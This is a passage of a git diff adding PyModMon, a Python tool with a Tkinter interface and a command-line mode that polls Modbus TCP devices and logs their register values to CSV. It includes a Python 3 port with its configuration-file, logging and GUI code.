False): + ## load graphical interface library + from Tkinter import * + from tkMessageBox import * + from tkFileDialog import * + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print 'Error. No graphical interface found. Try "python pymodmon.py -h" for help.' + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print 'single run' + exit() diff --git a/modbus/misc/pymodmon_3.py b/modbus/misc/pymodmon_3.py new file mode 100644 index 0000000..0206242 --- /dev/null +++ b/modbus/misc/pymodmon_3.py @@ -0,0 +1,979 @@ +# coding=UTF-8 + +## @package pymodmon +# Python Modbus Monitor +# a small program that uses the pymodbus package to retrieve and +# display modbus slave data. +# requires: Python 3.7, pymodbus, docopt +# +# Date created: 2019-02-25 +# Author: André Schieleit + +## help message to display by docopt (and parsed by docopt for command line arguments) +'''Python Modbus Monitor. + +Usage: + pymodmon.py + pymodmon.py [-h|--help] + pymodmon.py [--version] + pymodmon.py -i |--inifile= [-l |--logfile=] [-L |--loginterval=] [-B |--logbuffer=] [-S|--single] [--nogui] [-D|--daily-log] + pymodmon.py --ip= --port= --id= --addr= --type= --format= [-L |--loginterval=] [-B |--logbuffer=] [--descr=<"descr">] [--unit=<"unit">] [-S|--single] [-l |--logfile=] + +Options: + no options given in a xterm will open the TK interface + -h, --help Show this screen + --version Show version + -i, --inifile= Uses the given file as input for communication and + log file settings and channel configuration + -l, --logfile= Uses the given file as output for the retrieved data. + The data will be formatted in csv. + Existing files will be appended. + --ip= Use this as the IP address of the communication target + --port= Port of the communication target + --id= Modbus ID of the communication target + --addr= Address of the modbus register to read + --type= Data type of the retrieved data at a given address. + Allowed types: U64, U32, U16, S32, S16, STR32 + --format= Format of the retrieved data. + Allowed formats: RAW, UTF8, FIX0, FIX1, FIX2, FIX3 + --descr= Description for the retrieved data. + e.g. --descr="device name" + --unit= Unit of the retrieved data. e.g. --unit="V" + -G, --nogui Explicitly run without gui even when available + -S, --single Do only one read cycle instead of continuous reading. + -L, --loginterval= Read data every xx seconds. [defaul value: 5] + -B, --logbuffer= Read xx datasets before writing to disk. + Useful to prevent wearout on solid state devices. + [default value: 50] + -D, --daily-log Writes a log file for each day. At 00:00:00 system + time a new log file will be started. A given log file + name will be appended with the current date with + "%Y-%m-%d" format. +''' + +## use docopt for command line parsing and displaying help message +try: + import docopt +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','docopt package was not found on your system.\nPlease install it using the command:\ + \n"pip install docopt"') + except: + print('Import errror. docopt package was not found on your system. Please install it using the command: "pip install docopt"') +from docopt import docopt +if __name__ == '__main__': + arguments = docopt(__doc__, version='PyModMon 1.0') + +## use pymodbus for the Modbus communication +try: + from pymodbus import * +except ImportError: + try: ## for command line showerror does not work + showerror('Import Error','pymodbus package was not found on your system.\nPlease install it using the command:\ + \n"pip install pymodbus"') + except: + print('Import errror. pymodbus package was not found on your system. Please install it using the command: "pip install pymodbus"') + +## enable execution of functions on program exit +import atexit + +## enable timed execution of the data polling +from threading import Timer + +## enable file access +import os + +## class for all data related things +# +class Data(object): + ## set default values and allowed input values + def __init__(self): + self.inifilename = None + self.logfilename = None + self.logmaxbuffer = 50 ## how many records will be buffered before writing to file + self.ipaddress = '10.0.0.42' ## address of the communication target + self.portno = 502 ## port number of the target + self.modbusid = 3 ## bus ID of the target + self.manufacturer = 'Default Manufacturer' ## arbitrary string for user conveniance + self.loginterval = 5 ## how often should data be pulled from target in seconds + self.moddatatype = { ## allowed data types, sent from target + 'S32':2, + 'U32':2, + 'U64':4, + 'STR32':16, + 'S16':1, + 'U16':1 + } + + self.dataformat = ['ENUM','UTF8','FIX3','FIX2','FIX1','FIX0','RAW'] ## data format from target + + ## table of data to be pulled from target + self.datasets = [['address','type','format','description','unit','value']] + + self.datavector = [] ## holds the polled data from target + self.databuffer = [] ## holds the datavectors before writing to disk + self.datawritebuffer = [] ## holds a copy of databuffer for actual writing to disk + +## class that contains all IO specifics +class Inout: + ## some values to check against when receiving data from target + # these values are read when there is not acutal value from the target available. + # they are the equivalent to None + MIN_SIGNED = -2147483648 + MAX_UNSIGNED = 4294967295 + + ## function for testing the per command line specified configuration file + def checkImportFile(self): + ## does the file exist? + try: + inifile = open(str(arguments['--inifile']),'r').close() + data.inifilename = str(arguments['--inifile']) + except: + ## if we have a GUI display an error dialog + try: + showerror('Import Error','The specified configuration file was not found.') + return + except: ## if no GUI display error and exit + print('Configuration file error. A file with that name seems not to exist, please check.') + exit() + try: + inout.readImportFile() + except: + try: + showerror('Import Error','Could not read the configuration file. Please check file path and/or file.') + return + except: + print('Could not read configuration file. Please check file path and/or file.') + exit() + + ## function for acually reading input configuration file + def readImportFile(self): + ## read config data from file + import configparser + Config = configparser.ConfigParser() + ## read the config file + Config.read(data.inifilename, encoding="utf-8") + data.ipaddress = Config.get('CommSettings','IP address') + data.portno = int(Config.get('CommSettings','port number')) + data.modbusid = int(Config.get('CommSettings','Modbus ID')) + data.manufacturer = Config.get('CommSettings','manufacturer') + data.loginterval = int(Config.get('CommSettings','logger interval')) + try: ## logfilename may be empty. if so data will printed to terminal + data.logfilename = Config.get('FileSettings','log file') + except: + data.logfilename = None + data.logmaxbuffer = int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + 